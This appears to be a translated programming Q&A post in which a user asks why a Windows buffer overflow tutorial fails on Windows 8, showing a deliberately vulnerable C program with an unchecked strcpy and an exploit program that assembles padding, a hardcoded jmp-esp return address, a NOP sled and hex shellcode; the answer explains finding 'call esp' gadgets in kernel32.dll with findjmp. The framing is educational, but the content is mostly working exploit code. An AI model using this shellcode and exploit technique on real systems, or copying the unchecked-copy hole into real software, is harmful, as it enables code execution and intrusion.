我正在尝试用C创建两个简单的程序来模拟缓冲区溢出:
我找到了一个old tutorial,它为你提供了两个程序来做类似的事情,但是我有一些困难让它在Windows 8 64位下工作。 我正在使用Visual Studio 2013来编译代码。
第一段代码片段看起来很简单,并且有效:
#include <stdio.h>
#include <stdlib.h>
int foo(char *);
int main(int argc, char *argv[])
{
if(argc != 2)
return printf("Supply an argument, dude\n");
foo(argv[1]);
return 0;
}
int foo(char *input)
{
unsigned char buffer[600]="";
printf("%.8X\n", &buffer);
strcpy(buffer, input);
return 0;
}
第二个代码可能需要一些编辑,但这里是我被卡住的地方:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#define RET 0x7935EDBB /* ATTENTION!!! Change it. Search kernel32.dll
or any other library for jmp esp or call esp
instruction and then save the address */
#define TRASH 0x41
char shellcode[]=
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5B\x33\xC9\x83\xC3"
"\x35\x88\x0B\x83\xEB\x06\x53\xB8\xCF\x05\x35\x79\xFF\xD0"
"\x33\xC9\x51\x53\x53\x51\x05\x11\x11\x11\x11\x2D\x79\x90"
"\x0E\x11\xFF\xD0\x33\xC9\x51\xB8\x1A\xE0\x34\x79\xFF\xD0"
"\x75\x73\x65\x72\x33\x32\x61";
int main(int argc, char *argv[])
{
char *bufExe[3];
char buf[700];
int i;
char *ptr = buf;
memset(buf, 0, sizeof(buf));
bufExe[0] = "vuln.exe";
bufExe[2] = NULL;
for(i=0;i<620;i++)
(*ptr++) = TRASH; //620 bytes of chunk
*(unsigned long *)&buf[620] = RET; //then return address = jmp esp, call esp
strcat(buf, "\x90\x90\x90\x90"); //small NOP sledge
strcat(buf, shellcode); //and our first shellcode
bufExe[1] = buf;
execve(bufExe[0],bufExe,NULL);
return 0;
}
我认为肯定需要改变的两件事是:#define RET 0x7935EDBB
和shellcode。
有任何想法让这个有用吗?
答案 0 :(得分:0)
似乎RET地址可能不正确。 要找到RET的正确地址,请使用findjmp(来自Ryan Permeh)。 编译findjmp.c并使用以下参数运行:
findjmp <DLLfile> <register>. Suppose you want to look for jumps to esp in kernel32.dll, run “findjmp kernel32.dll esp”
On Vista SP2, you should get something like this :
Findjmp, Eeye, I2S-LaB
Findjmp2, Hat-Squad
Scanning kernel32.dll for code useable with the esp register
0x773AF74B call esp
Finished Scanning kernel32.dll for code useable with the esp register
Found 1 usable addresses